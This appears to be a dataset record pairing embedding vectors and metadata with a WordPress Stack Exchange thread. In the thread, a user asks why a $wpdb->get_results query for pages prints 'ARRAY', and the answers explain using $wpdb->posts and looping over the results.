-0.002033233642578125,
0.00601959228515625,
0.022796630859375,
0.0164031982421875,
0.001697540283203125,
0.032867431640625,
0.0267791748046875,
0.018585205078125,
0.018035888671875,
0.022186279296875,
0.00036454200744628906,
0.04827880859375,
-0.04376220703125,
-0.0012302398681640625,
-0.004016876220703125,
-0.0298309326171875,
0.0080108642578125,
0.06976318359375,
-0.0018663406372070312,
0.0694580078125,
0.036773681640625,
-0.0249176025390625,
-0.0200347900390625,
0.013519287109375,
0.042938232421875,
-0.0052642822265625,
-0.00989532470703125,
0.035491943359375,
-0.01087188720703125,
-0.0416259765625,
0.01178741455078125,
0.032562255859375,
-0.01416778564453125,
-0.04180908203125,
-0.03497314453125,
-0.031463623046875,
-0.0126495361328125,
-0.01433563232421875,
-0.07354736328125,
0.03448486328125,
0.01010894775390625,
-0.01739501953125,
-0.01354217529296875,
0.03436279296875,
-0.0270843505859375,
-0.04461669921875,
0.0151824951171875,
0.0012369155883789062,
-0.034210205078125,
0.0218658447265625,
-0.013214111328125,
0.031005859375,
-0.01227569580078125,
0.049896240234375,
0.05596923828125,
-0.035858154296875,
0.0196990966796875,
0.010498046875,
-0.034210205078125,
-0.0160369873046875,
0.041534423828125,
0.0060577392578125,
-0.025390625,
-0.0277862548828125,
0.03717041015625,
0.002193450927734375,
-0.007320404052734375,
-0.003662109375,
-0.0278472900390625,
-0.001155853271484375,
0.00634765625,
-0.0298614501953125,
0.0018463134765625,
0.0158843994140625,
-0.0614013671875,
0.046478271484375,
0.0050048828125,
-0.0184173583984375,
-0.03515625,
0.052398681640625,
0.0210723876953125,
-0.020965576171875,
-0.01412200927734375,
0.002044677734375,
-0.0238189697265625,
-0.0272064208984375,
-0.01030731201171875,
0.00670623779296875,
0.0035114288330078125,
0.005062103271484375,
0.036956787109375,
0.0132598876953125,
-0.0216522216796875,
0.03729248046875,
-0.0059356689453125,
-0.0038051605224609375,
0.0118255615234375,
0.04937744140625,
-0.04296875,
0.04937744140625,
0.0008826255798339844,
0.0307159423828125,
0.0589599609375,
-0.050323486328125,
-0.0247650146484375,
-0.035186767578125,
0.00885772705078125,
0.0211639404296875,
-0.01200103759765625,
0.03338623046875,
0.0572509765625,
0.0299224853515625,
-0.0115814208984375,
-0.0118255615234375,
-0.02349853515625,
-0.03717041015625,
0.01369476318359375,
0.0076141357421875,
0.007106781005859375,
-0.033843994140625,
0.04833984375,
-0.00177001953125,
0.017791748046875,
0.05609130859375,
-0.0225067138671875,
0.025604248046875,
-0.01010894775390625,
-0.01557159423828125,
-0.042083740234375,
0.030731201171875,
-0.00021147727966308594,
0.0241546630859375,
0.0184326171875,
0.0219268798828125,
0.006435394287109375,
0.009735107421875,
-0.0272216796875,
-0.05718994140625,
0.0340576171875,
-0.06591796875,
0.0301055908203125,
-0.05230712890625,
-0.0100860595703125,
-0.00598907470703125,
0.10418701171875,
-0.049713134765625,
-0.0297393798828125,
-0.009246826171875,
0.00836181640625,
0.042724609375,
-0.044219970703125,
-0.00533294677734375,
-0.0426025390625,
-0.06561279296875,
0.01145172119140625,
-0.005268096923828125,
-0.0226593017578125,
-0.005878448486328125,
0.06640625,
-0.035400390625,
-0.027099609375,
0.054931640625,
-0.0293426513671875,
0.027374267578125,
0.04229736328125,
0.004550933837890625,
0.00940704345703125,
-0.058197021484375,
-0.005039215087890625,
-0.05694580078125,
-0.009429931640625,
-0.0207366943359375,
0.046142578125,
0.020050048828125,
-0.020355224609375,
-0.0227813720703125,
0.021636962890625,
0.048858642578125,
0.0279388427734375,
0.007415771484375,
-0.029937744140625,
-0.015869140625,
-0.0252838134765625,
0.010009765625,
-0.0291900634765625,
0.00324249267578125,
0.00554656982421875,
-0.007328033447265625,
0.02703857421875,
-0.031585693359375,
-0.0020923614501953125,
-0.00672149658203125,
-0.02630615234375,
-0.0574951171875,
-0.0269622802734375,
-0.028472900390625,
0.0054168701171875,
0.0229644775390625,
-0.044464111328125,
-0.033111572265625,
-0.0819091796875,
-0.01085662841796875,
-0.01451873779296875,
-0.03509521484375,
0.029693603515625,
0.02069091796875,
0.0222320556640625,
-0.00047707557678222656,
-0.036285400390625,
-0.01084136962890625,
0.022430419921875,
0.017242431640625,
0.0251007080078125,
0.01543426513671875,
0.00231170654296875,
-0.0040435791015625,
0.0008411407470703125,
0.0198516845703125,
-0.01190185546875,
0.0399169921875,
0.01396942138671875,
0.008270263671875,
-0.00379180908203125,
0.001262664794921875,
0.00835418701171875,
-0.01105499267578125,
-0.025390625,
-0.0297393798828125,
-0.026611328125,
0.060272216796875,
-0.014068603515625,
0.06390380859375,
-0.03656005859375,
-0.01284027099609375,
0.016754150390625,
-0.0134429931640625,
0.0357666015625,
0.0153656005859375,
-0.004238128662109375,
-0.0037860870361328125,
-0.0283050537109375,
-0.0004420280456542969,
0.01068878173828125,
0.0330810546875,
0.0182342529296875,
0.0325927734375,
0.0227813720703125,
-0.001865386962890625,
-0.0243682861328125,
0.004901885986328125,
0.01983642578125,
-0.00266265869140625,
-0.0265960693359375,
-0.046234130859375,
0.00814056396484375,
0.03314208984375,
0.00008976459503173828,
0.00504302978515625,
0.0237274169921875,
0.0266571044921875,
-0.004726409912109375,
0.01806640625,
0.005344390869140625,
0.0071868896484375,
-0.018585205078125,
0.0202178955078125,
0.020294189453125,
-0.00252532958984375,
-0.0311431884765625,
0.080322265625,
0.035125732421875,
0.011260986328125,
-0.0181884765625,
0.044708251953125,
0.043121337890625,
0.0248260498046875,
0.013702392578125,
0.00007784366607666016,
-0.0238494873046875,
0.01291656494140625,
-0.0193023681640625,
-0.026519775390625,
-0.023223876953125,
-0.0002053976058959961,
0.038177490234375,
-0.0030670166015625,
0.0124359130859375,
0.018463134765625,
-0.005126953125,
-0.022369384765625,
0.01274871826171875,
-0.0003514289855957031,
-0.056365966796875,
-0.0014562606811523438,
0.031707763671875,
0.011444091796875,
-0.017333984375,
-0.038726806640625,
0.0135498046875,
-0.03509521484375,
0.01258087158203125,
-0.061370849609375,
-0.034576416015625,
0.03118896484375,
0.039520263671875,
-0.02545166015625,
0.009918212890625,
0.01541900634765625,
-0.0281829833984375,
-0.038909912109375,
-0.020843505859375,
-0.0282440185546875,
0.0606689453125,
-0.04229736328125,
0.01308441162109375,
-0.00591278076171875,
0.0005698204040527344,
0.0068817138671875,
0.006847381591796875,
0.0753173828125,
0.047882080078125,
-0.00449371337890625,
-0.00432586669921875,
-0.011322021484375,
-0.01399993896484375,
-0.0085601806640625,
-0.04638671875,
-0.03582763671875,
-0.023193359375,
0.00925445556640625,
0.01374053955078125,
-0.01338958740234375,
-0.031707763671875,
-0.04071044921875,
0.01161956787109375,
0.03643798828125,
0.03131103515625,
-0.005855560302734375,
0.078369140625,
-0.0008187294006347656,
0.051910400390625,
0.016998291015625,
0.0243377685546875,
-0.03546142578125,
-0.002010345458984375,
-0.0084991455078125,
-0.0288238525390625,
-0.006404876708984375,
-0.01812744140625,
0.0078277587890625,
0.053070068359375,
0.06695556640625,
0.01125335693359375,
0.028717041015625,
-0.01425933837890625,
0.0000059604644775390625,
-0.0250244140625,
0.01462554931640625,
-0.0166473388671875,
0.00605010986328125,
0.036102294921875,
-0.040191650390625,
-0.0088043212890625,
0.016632080078125,
0.01201629638671875,
0.0240478515625,
-0.018768310546875,
0.0233612060546875,
-0.0025959014892578125,
-0.038055419921875,
0.051727294921875,
0.049346923828125,
0.004810333251953125,
0.023895263671875,
0.00597381591796875,
0.00122833251953125,
-0.0011959075927734375,
-0.03765869140625,
0.024383544921875,
0.0535888671875,
0.04046630859375,
-0.0202789306640625,
-0.002681732177734375,
0.022186279296875,
-0.0224151611328125,
0.0146331787109375,
0.03753662109375,
0.053070068359375,
-0.0885009765625,
0.02752685546875,
0.03009033203125,
0.00970458984375,
0.03271484375,
0.0011310577392578125,
-0.00391387939453125,
0.016876220703125,
0.0060272216796875,
-0.0592041015625,
-0.037078857421875,
-0.01125335693359375,
-0.007244110107421875,
-0.0162353515625,
-0.00873565673828125,
0.023162841796875,
0.01824951171875,
0.0179443359375,
0.0020084381103515625,
-0.032073974609375,
0.01299285888671875,
-0.01139068603515625,
-0.00273895263671875,
-0.014862060546875,
-0.005413055419921875,
-0.02960205078125,
0.02294921875,
-0.06732177734375,
0.0355224609375,
0.049530029296875,
0.01556396484375,
0.0142822265625,
0.045196533203125,
-0.01074981689453125,
0.0124969482421875,
0.0120086669921875,
-0.0021266937255859375,
-0.033416748046875,
-0.036346435546875,
-0.0038585662841796875,
0.0548095703125,
-0.0297698974609375,
0.0241241455078125,
-0.0014028549194335938,
-0.00672149658203125,
-0.002971649169921875,
0.040496826171875,
0.0887451171875,
-0.0224609375,
-0.04364013671875,
0.043212890625,
-0.014678955078125,
-0.01715087890625,
0.0189971923828125,
-0.000659942626953125,
-0.0154876708984375,
-0.0260162353515625,
-0.0002422332763671875,
-0.049835205078125,
0.01056671142578125,
0.00891876220703125,
-0.0556640625,
0.10400390625,
-0.038726806640625,
0.0271453857421875,
0.032012939453125,
0.037933349609375,
-0.0157012939453125,
0.01959228515625,
-0.01361846923828125,
0.058807373046875,
-0.03851318359375,
0.006519317626953125,
-0.039459228515625,
-0.0007691383361816406,
-0.0035076141357421875,
0.0307464599609375,
0.040557861328125,
0.018951416015625,
-0.0452880859375,
0.0163116455078125,
0.05133056640625,
0.007404327392578125,
-0.007965087890625,
0.03692626953125,
-0.0030422210693359375,
-0.01209259033203125,
0.05712890625,
0.0002589225769042969,
0.050445556640625,
-0.0019550323486328125,
-0.01045989990234375,
0.0085601806640625,
-0.001956939697265625,
-0.005870819091796875,
-0.02978515625,
-0.0310516357421875,
0.0052337646484375,
-0.01352691650390625,
-0.0273590087890625,
0.0372314453125,
0.007793426513671875,
0.005710601806640625,
0.01336669921875,
0.0151214599609375,
0.00502777099609375,
-0.0148162841796875,
0.033935546875,
0.00948333740234375,
0.0005621910095214844,
-0.0232391357421875,
-0.006069183349609375,
0.0210113525390625,
-0.033050537109375,
-0.029022216796875,
0.0287322998046875,
-0.00801849365234375,
0.026947021484375,
0.017608642578125,
0.01371002197265625,
-0.040802001953125,
0.0006246566772460938,
0.018829345703125,
0.03729248046875,
-0.0447998046875,
-0.0521240234375,
0.0154876708984375,
0.0257720947265625,
-0.004100799560546875,
0.0190582275390625,
0.00975799560546875,
-0.0029163360595703125,
0.055572509765625,
-0.04010009765625,
0.008270263671875,
0.01427459716796875,
0.01358795166015625,
-0.008514404296875,
-0.026275634765625,
-0.0214385986328125,
0.01480865478515625,
-0.07342529296875,
0.04083251953125,
0.03057861328125,
0.08013916015625,
0.005634307861328125,
0.0838623046875,
0.0266571044921875,
-0.0325927734375,
0.012939453125,
-0.002040863037109375,
-0.017364501953125,
-0.01551055908203125,
-0.02716064453125,
-0.07177734375,
0.0153961181640625,
0.030059814453125,
0.0159912109375,
0.0282135009765625,
0.036834716796875,
0.035888671875,
0.0137786865234375,
0.0020542144775390625,
0.049591064453125,
-0.00841522216796875,
-0.0208892822265625,
-0.0197906494140625,
-0.00746917724609375,
0.0152130126953125,
-0.00569915771484375,
0.002933502197265625,
0.005462646484375,
0.0268402099609375,
0.00972747802734375,
0.0162506103515625,
0.004924774169921875,
-0.00836181640625,
0.04913330078125,
0.010986328125,
0.043365478515625,
0.041046142578125,
-0.07940673828125,
-0.0154571533203125,
-0.0615234375,
-0.0223846435546875,
0.0452880859375,
0.043609619140625,
-0.0099945068359375,
0.0147247314453125,
0.036376953125,
-0.01142120361328125,
-0.0234375,
0.005176544189453125,
0.0255584716796875,
0.0152435302734375,
0.013702392578125,
0.031585693359375,
-0.04888916015625,
-0.0292510986328125,
-0.031524658203125,
0.0157012939453125,
0.02655029296875,
0.026947021484375,
0.0118560791015625,
0.036376953125,
-0.022003173828125,
0.023529052734375,
-0.0262298583984375,
-0.0256195068359375,
0.0232391357421875,
0.026153564453125,
0.0050201416015625,
-0.00765228271484375,
-0.006343841552734375,
-0.01207733154296875,
0.05560302734375,
-0.0452880859375,
-0.017669677734375,
-0.0035457611083984375,
0.0203399658203125,
-0.038299560546875,
0.031585693359375,
-0.014190673828125,
0.01090240478515625,
-0.0162353515625,
-0.0291900634765625,
0.041229248046875,
0.02557373046875,
0.0090484619140625,
0.013702392578125,
-0.009307861328125,
-0.025146484375,
0.0184478759765625,
-0.01323699951171875,
0.031829833984375,
0.034271240234375,
-0.03558349609375,
-0.033233642578125,
0.047760009765625,
0.004299163818359375,
-0.003894805908203125,
0.04248046875,
0.03778076171875,
0.032257080078125,
-0.033172607421875,
0.0218048095703125,
0.01361846923828125,
0.0276947021484375,
-0.042999267578125,
0.0021343231201171875,
0.0232086181640625,
-0.00431060791015625,
0.016357421875,
-0.026275634765625,
-0.048797607421875,
-0.05841064453125,
0.02606201171875,
0.01189422607421875,
-0.01436614990234375,
-0.044036865234375,
-0.0775146484375,
-0.00499725341796875,
0.06732177734375,
0.0237274169921875,
-0.0751953125,
0.02496337890625,
-0.024658203125,
0.0382080078125,
0.018402099609375,
-0.056732177734375,
0.011322021484375,
0.0186614990234375,
0.017730712890625,
-0.0012788772583007812,
-0.04364013671875,
0.005016326904296875,
-0.0171356201171875,
0.017364501953125,
0.022186279296875,
-0.03985595703125,
-0.01407623291015625,
0.033966064453125,
0.033538818359375,
0.064453125,
0.03680419921875,
-0.00914764404296875,
-0.0159759521484375,
0.009246826171875,
-0.0238189697265625,
-0.037506103515625,
0.0217132568359375,
-0.07861328125,
-0.034149169921875,
0.0111541748046875,
0.002780914306640625,
0.01629638671875,
-0.020172119140625,
-0.054656982421875,
0.058319091796875,
-0.0005793571472167969,
-0.028900146484375,
-0.06646728515625,
0.02105712890625,
-0.01346588134765625,
0.0489501953125,
-0.0019893646240234375,
-0.03997802734375,
-0.010955810546875,
0.040985107421875,
-0.02752685546875,
0.039276123046875,
0.013702392578125,
-0.04229736328125,
0.00559234619140625,
-0.00841522216796875,
0.01087188720703125,
-0.02911376953125,
0.02679443359375,
-0.0433349609375,
0.0201873779296875,
-0.0035839080810546875,
-0.073974609375,
-0.0667724609375,
-0.0270843505859375,
0.042755126953125,
0.007488250732421875,
-0.048492431640625,
-0.034271240234375,
-0.018096923828125,
0.07086181640625,
0.0240631103515625,
0.022918701171875,
-0.030975341796875,
0.0302581787109375,
-0.046630859375,
-0.04595947265625,
-0.0010623931884765625,
0.023162841796875,
-0.037353515625,
0.0089263916015625,
0.0261993408203125,
-0.006633758544921875,
-0.0263519287109375,
0.04180908203125,
-0.01055908203125,
-0.009674072265625,
0.054290771484375,
-0.01812744140625,
-0.042236328125,
0.07354736328125,
0.040130615234375,
-0.042694091796875,
-0.00347900390625,
-0.0092620849609375,
-0.0361328125,
0.0177001953125,
-0.02691650390625,
-0.0290985107421875,
-0.0034122467041015625,
-0.0191650390625,
0.0187530517578125,
-0.0298919677734375,
0.040924072265625,
-0.03350830078125,
-0.004154205322265625,
-0.0245208740234375,
0.00792694091796875,
-0.01116943359375,
-0.000008940696716308594,
-0.016448974609375,
0.051177978515625,
0.0151824951171875,
0.08612060546875,
0.011627197265625,
0.001529693603515625,
-0.00681304931640625,
0.0288238525390625,
0.0031642913818359375,
-0.031768798828125,
0.0226593017578125,
-0.0192413330078125,
0.001861572265625,
-0.00447845458984375,
-0.03759765625,
-0.048065185546875,
0.03125,
0.033935546875,
-0.01788330078125,
0.0195770263671875
] |
7e3f427fe4dd1d6c75b85295e3e381be16aed5f3
|
Wordpress Stackexchange
Q: get_results using wpdb I'm trying to retrieve information on my database. I wanted to display all pages using this statement, but I'm getting a blank ARRAY
global $wpdb;
$result = $wpdb->get_results (
"
SELECT *
FROM $wpdb->wp_posts
WHERE post_type = 'page'
"
);
echo $result; // display data
Output:
ARRAY
EDIT: After changing below suggestions, I'm now using this. but I still don't get any results:
global $wpdb;
$posts = $wpdb->wp_posts;
$result = $wpdb->get_results( " SELECT * FROM $posts WHERE 'post_type' = 'page' " );
foreach ($result as $page) {
echo $page->ID.'<br/>';
}
A: You have a slight misunderstanding:
When calling $wpdb, you get a list of properties that contain the core names of the tables:
// The custom prefix from wp-config.php
// only needed for custom tables
$wpdb->prefix
// Tables where you don't need a prefix: built in ones:
$wpdb->posts
$wpdb->postmeta
$wpdb->users
So your final query would look like this:
$wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE post_type = 'page'" );
|
Q: get_results using wpdb I'm trying to retrieve information on my database. I wanted to display all pages using this statement, but I'm getting a blank ARRAY
global $wpdb;
$result = $wpdb->get_results (
"
SELECT *
FROM $wpdb->wp_posts
WHERE post_type = 'page'
"
);
echo $result; // display data
Output:
ARRAY
EDIT: After changing below suggestions, I'm now using this. but I still don't get any results:
global $wpdb;
$posts = $wpdb->wp_posts;
$result = $wpdb->get_results( " SELECT * FROM $posts WHERE 'post_type' = 'page' " );
foreach ($result as $page) {
echo $page->ID.'<br/>';
}
A: You have a slight misunderstanding:
When calling $wpdb, you get a list of properties that contain the core names of the tables:
// The custom prefix from wp-config.php
// only needed for custom tables
$wpdb->prefix
// Tables where you don't need a prefix: built in ones:
$wpdb->posts
$wpdb->postmeta
$wpdb->users
So your final query would look like this:
$wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE post_type = 'page'" );
A: global $wpdb;
$result = $wpdb->get_results ( "
SELECT *
FROM $wpdb->posts
WHERE post_type = 'page'
" );
foreach ( $result as $page )
{
echo $page->ID.'<br/>';
echo $page->post_title.'<br/>';
}
A: Try the following code. I faced the similar problem and solved it by removing $wpdb from 'FROM' field.
global $wpdb;
$result = $wpdb->get_results (
"
SELECT *
FROM wp_posts
WHERE post_type = 'page'
"
);
echo $result; // display data
A: By "blank Array" do you mean an 'empty array' or is the output 'ARRAY'. If it's the latter then, it is the expected output. You need to loop through that array and display results accordingly.
Reference: http://codex.wordpress.org/Class_Reference/wpdb#SELECT_Generic_Results
|
wordpress
|
{
"language": "en",
"length": 271,
"provenance": "stackexchange_00019.jsonl.gz:435993",
"question_score": "19",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110677"
}
|
[
0.044769287109375,
0.0048828125,
-0.0167236328125,
-0.0002627372741699219,
0.0210113525390625,
-0.045989990234375,
0.068115234375,
-0.0075225830078125,
0.0247955322265625,
0.021453857421875,
-0.04461669921875,
-0.00787353515625,
-0.0234527587890625,
-0.015411376953125,
-0.02197265625,
-0.034912109375,
0.051513671875,
-0.02227783203125,
0.03887939453125,
0.005779266357421875,
0.01763916015625,
0.04376220703125,
0.020477294921875,
0.03692626953125,
0.021575927734375,
-0.053070068359375,
0.04779052734375,
0.0236053466796875,
0.006595611572265625,
-0.01432037353515625,
0.0138397216796875,
0.0131988525390625,
-0.0025539398193359375,
0.0169525146484375,
0.0225982666015625,
0.0274505615234375,
0.0262298583984375,
0.0059051513671875,
0.0262603759765625,
0.0192413330078125,
-0.0003783702850341797,
0.0179595947265625,
-0.007843017578125,
0.01471710205078125,
-0.032867431640625,
-0.03948974609375,
0.0202789306640625,
-0.0218048095703125,
-0.00542449951171875,
-0.0333251953125,
0.0071868896484375,
0.0231170654296875,
0.02484130859375,
0.01959228515625,
-0.01062774658203125,
0.01428985595703125,
0.0100860595703125,
-0.0293121337890625,
0.031280517578125,
-0.034912109375,
-0.0258331298828125,
-0.020782470703125,
0.043060302734375,
0.0116119384765625,
-0.00751495361328125,
0.003314971923828125,
0.034576416015625,
0.0133514404296875,
0.0037631988525390625,
-0.006439208984375,
0.0034847259521484375,
0.0131988525390625,
-0.025177001953125,
0.0014638900756835938,
-0.02618408203125,
-0.007465362548828125,
0.0102996826171875,
-0.02923583984375,
-0.0015363693237304688,
0.02508544921875,
-0.02191162109375,
-0.00569915771484375,
-0.1114501953125,
0.01342010498046875,
-0.0114288330078125,
0.016204833984375,
-0.0230865478515625,
-0.01085662841796875,
-0.01430511474609375,
-0.024444580078125,
0.0012006759643554688,
-0.009796142578125,
-0.03955078125,
0.00653839111328125,
-0.0053558349609375,
-0.0411376953125,
0.00807952880859375,
0.0241851806640625,
-0.0210418701171875,
0.01319122314453125,
-0.0135345458984375,
-0.0228271484375,
0.0198516845703125,
-0.03466796875,
0.0264129638671875,
0.013458251953125,
-0.01392364501953125,
-0.002391815185546875,
0.0625,
0.038421630859375,
0.0210113525390625,
0.06256103515625,
-0.0263671875,
-0.0234375,
-0.003082275390625,
0.01483154296875,
-0.0457763671875,
-0.0197601318359375,
0.0018930435180664062,
-0.045074462890625,
0.01513671875,
0.036468505859375,
-0.036407470703125,
0.00868988037109375,
-0.017486572265625,
-0.010406494140625,
-0.00384521484375,
-0.0234375,
-0.01375579833984375,
0.030242919921875,
-0.0219573974609375,
0.00380706787109375,
0.0207672119140625,
0.0193939208984375,
-0.00809478759765625,
-0.01313018798828125,
0.0032711029052734375,
-0.032806396484375,
0.0028705596923828125,
0.0322265625,
-0.004413604736328125,
-0.05255126953125,
-0.01026153564453125,
-0.0059814453125,
-0.00229644775390625,
-0.01430511474609375,
0.016448974609375,
0.028228759765625,
-0.00199127197265625,
-0.01107025146484375,
-0.0271453857421875,
0.053466796875,
-0.0131378173828125,
0.004878997802734375,
0.0408935546875,
-0.021087646484375,
0.01522064208984375,
-0.020263671875,
0.031982421875,
-0.00775146484375,
0.04754638671875,
-0.0021266937255859375,
0.0000941157341003418,
0.020843505859375,
-0.0178680419921875,
-0.01036834716796875,
-0.0341796875,
-0.01003265380859375,
0.025665283203125,
0.04156494140625,
-0.0018262863159179688,
-0.036407470703125,
0.038543701171875,
0.0198516845703125,
-0.0184173583984375,
0.03497314453125,
0.00638580322265625,
-0.03631591796875,
0.036773681640625,
-0.0013904571533203125,
-0.0428466796875,
-0.0091552734375,
0.0159912109375,
0.0033321380615234375,
-0.032379150390625,
0.050262451171875,
-0.0003840923309326172,
0.047271728515625,
0.007717132568359375,
0.0216827392578125,
-0.00772857666015625,
0.03955078125,
-0.042510986328125,
0.023590087890625,
-0.00579833984375,
-0.0277099609375,
-0.03009033203125,
-0.007396697998046875,
-0.024627685546875,
0.00588226318359375,
0.036834716796875,
-0.0007505416870117188,
0.022552490234375,
0.00897979736328125,
-0.0304412841796875,
0.01348114013671875,
-0.005859375,
0.01073455810546875,
0.0219268798828125,
-0.016357421875,
0.0196075439453125,
0.0186767578125,
-0.040374755859375,
0.000514984130859375,
-0.0675048828125,
0.0226593017578125,
-0.002582550048828125,
0.006069183349609375,
0.00762176513671875,
0.021270751953125,
-0.01303863525390625,
-0.0278778076171875,
-0.0280303955078125,
-0.0006842613220214844,
0.043243408203125,
-0.0391845703125,
0.0085601806640625,
-0.03448486328125,
0.05364990234375,
-0.02325439453125,
0.012420654296875,
0.0251007080078125,
0.0282745361328125,
0.068603515625,
-0.0232696533203125,
-0.0239410400390625,
-0.0028228759765625,
-0.031280517578125,
0.034088134765625,
0.035858154296875,
0.04498291015625,
0.009185791015625,
-0.003704071044921875,
-0.03680419921875,
0.038482666015625,
-0.058319091796875,
0.00539398193359375,
-0.020233154296875,
0.0221405029296875,
0.0494384765625,
0.04144287109375,
-0.011260986328125,
0.0017137527465820312,
-0.028656005859375,
0.0203704833984375,
0.0234222412109375,
0.004779815673828125,
0.07489013671875,
-0.02459716796875,
-0.004180908203125,
-0.0248565673828125,
0.0149383544921875,
0.0250396728515625,
-0.0183258056640625,
0.0241851806640625,
0.007358551025390625,
0.018402099609375,
0.0194549560546875,
-0.0237274169921875,
0.006313323974609375,
0.00916290283203125,
-0.0251312255859375,
0.01073455810546875,
0.0234832763671875,
-0.0115203857421875,
-0.004177093505859375,
-0.028900146484375,
-0.01111602783203125,
0.00919342041015625,
-0.00007963180541992188,
0.01459503173828125,
0.042816162109375,
-0.0128631591796875,
-0.0163726806640625,
0.01398468017578125,
-0.011871337890625,
-0.01340484619140625,
0.0306549072265625,
-0.0313720703125,
-0.0042266845703125,
0.01348876953125,
0.054656982421875,
-0.024566650390625,
0.049346923828125,
-0.0673828125,
0.017974853515625,
0.07275390625,
-0.04022216796875,
0.035064697265625,
-0.025299072265625,
0.053192138671875,
0.06103515625,
-0.006011962890625,
-0.003940582275390625,
-0.01357269287109375,
0.0108489990234375,
0.0184173583984375,
-0.0245208740234375,
-0.02630615234375,
-0.0200042724609375,
-0.042144775390625,
0.0145111083984375,
0.03460693359375,
0.06329345703125,
-0.0031223297119140625,
-0.035858154296875,
-0.004245758056640625,
0.03619384765625,
-0.076171875,
-0.1080322265625,
-0.01043701171875,
-0.059783935546875,
0.00341796875,
-0.043792724609375,
-0.0244293212890625,
0.033843994140625,
-0.0258026123046875,
0.0013790130615234375,
0.0335693359375,
-0.0109100341796875,
-0.09637451171875,
-0.0248260498046875,
-0.087158203125,
-0.001285552978515625,
-0.0217437744140625,
0.0228424072265625,
-0.0034046173095703125,
0.0616455078125,
0.0008282661437988281,
-0.046295166015625,
-0.023284912109375,
0.061798095703125,
-0.0224609375,
-0.035888671875,
-0.0073699951171875,
0.000720977783203125,
-0.0089874267578125,
0.0004944801330566406,
0.00554656982421875,
0.00962066650390625,
-0.0007281303405761719,
0.0016727447509765625,
0.041046142578125,
0.0097198486328125,
0.046142578125,
-0.019439697265625,
-0.050567626953125,
0.0198211669921875,
0.013763427734375,
-0.038330078125,
-0.017974853515625,
-0.02154541015625,
-0.044097900390625,
0.028839111328125,
0.007511138916015625,
0.0034389495849609375,
0.00955963134765625,
0.01293182373046875,
0.055450439453125,
0.015167236328125,
-0.01342010498046875,
-0.01128387451171875,
0.04571533203125,
0.0222930908203125,
0.059326171875,
-0.0217132568359375,
0.013671875,
-0.0219879150390625,
-0.0020847320556640625,
0.0013341903686523438,
0.00981903076171875,
0.01183319091796875,
-0.030792236328125,
-0.023773193359375,
-0.07623291015625,
0.06573486328125,
-0.0058135986328125,
-0.0195770263671875,
-0.02392578125,
-0.029296875,
0.020294189453125,
0.101806640625,
-0.00919342041015625,
-0.020660400390625,
-0.0299224853515625,
0.013763427734375,
-0.047515869140625,
-0.03997802734375,
-0.016326904296875,
0.01715087890625,
-0.056732177734375,
0.0004258155822753906,
-0.0090484619140625,
-0.02545166015625,
-0.00418853759765625,
-0.0143585205078125,
-0.033935546875,
-0.031951904296875,
0.0279541015625,
-0.0007023811340332031,
-0.0033817291259765625,
0.036102294921875,
-0.022430419921875,
0.01399993896484375,
-0.003936767578125,
-0.009735107421875,
-0.10882568359375,
-0.026611328125,
0.059967041015625,
0.04156494140625,
-0.0175933837890625,
-0.0269317626953125,
-0.0156402587890625,
0.05255126953125,
0.016387939453125,
-0.0037555694580078125,
0.0200653076171875,
0.0168609619140625,
-0.0161590576171875,
-0.010528564453125,
0.019317626953125,
-0.051300048828125,
-0.020660400390625,
-0.0217437744140625,
0.0239105224609375,
0.016845703125,
-0.0252227783203125,
0.003620147705078125,
-0.042327880859375,
0.0013523101806640625,
0.03253173828125,
-0.00435638427734375,
-0.02142333984375,
0.037139892578125,
-0.02728271484375,
-0.007564544677734375,
-0.0289459228515625,
-0.01068878173828125,
0.0310516357421875,
0.05694580078125,
-0.00997161865234375,
0.005706787109375,
0.00841522216796875,
0.004703521728515625,
-0.05621337890625,
-0.0732421875,
-0.0054931640625,
0.0399169921875,
-0.01263427734375,
0.05072021484375,
0.029876708984375,
-0.037567138671875,
0.06024169921875,
0.0288238525390625,
-0.0005927085876464844,
-0.00499725341796875,
0.04632568359375,
0.0216522216796875,
-0.01094818115234375,
0.01378631591796875,
0.0004391670227050781,
-0.02545166015625,
0.060333251953125,
-0.0160980224609375,
-0.0184173583984375,
-0.0109100341796875,
0.05401611328125,
-0.01000213623046875,
0.0124053955078125,
-0.0487060546875,
-0.0207672119140625,
0.005939483642578125,
0.0228424072265625,
0.0231781005859375,
-0.0175323486328125,
0.01148223876953125,
0.0017671585083007812,
0.0168304443359375,
0.01446533203125,
0.052032470703125,
0.0650634765625,
0.00843048095703125,
0.052886962890625,
0.0184326171875,
0.0055694580078125,
-0.0258636474609375,
-0.006099700927734375,
0.0026988983154296875,
-0.0143890380859375,
-0.048309326171875,
0.016510009765625,
-0.030609130859375,
0.02337646484375,
0.036041259765625,
-0.0155487060546875,
0.041748046875,
0.0482177734375,
-0.00859832763671875,
-0.004638671875,
-0.0192108154296875,
-0.001842498779296875,
-0.04547119140625,
0.03955078125,
0.006061553955078125,
0.0092620849609375,
-0.0203704833984375,
0.1148681640625,
-0.042388916015625,
0.0753173828125,
-0.008880615234375,
0.031463623046875,
0.01035308837890625,
0.0677490234375,
-0.0011720657348632812,
-0.014312744140625,
0.0008563995361328125,
0.05853271484375,
-0.005069732666015625,
-0.035186767578125,
0.01045989990234375,
0.0283660888671875,
0.0287322998046875,
0.01812744140625,
-0.03350830078125,
0.01264190673828125,
-0.0189361572265625,
-0.0260467529296875,
0.05609130859375,
0.033172607421875,
-0.01532745361328125,
-0.07965087890625,
-0.029998779296875,
0.055908203125,
0.0243377685546875,
-0.0111236572265625,
0.034027099609375,
0.011199951171875,
0.052642822265625,
-0.0085601806640625,
-0.01293182373046875,
0.01708984375,
0.035614013671875,
-0.03302001953125,
-0.039642333984375,
-0.0101470947265625,
-0.042266845703125,
0.00704193115234375,
-0.004817962646484375,
-0.006526947021484375,
0.0026912689208984375,
-0.042510986328125,
0.048187255859375,
-0.0276336669921875,
-0.006565093994140625,
-0.07244873046875,
0.0015935897827148438,
0.061492919921875,
0.06787109375,
0.02728271484375,
-0.016082763671875,
-0.0189056396484375,
-0.0297698974609375,
0.06085205078125,
0.003902435302734375,
-0.006977081298828125,
-0.03955078125,
0.017242431640625,
0.005100250244140625,
0.037261962890625,
-0.0013637542724609375,
-0.052093505859375,
-0.007488250732421875,
0.0272369384765625,
-0.00914764404296875,
-0.01959228515625,
0.0916748046875,
-0.026580810546875,
0.061309814453125,
0.0030155181884765625,
0.04656982421875,
-0.0231170654296875,
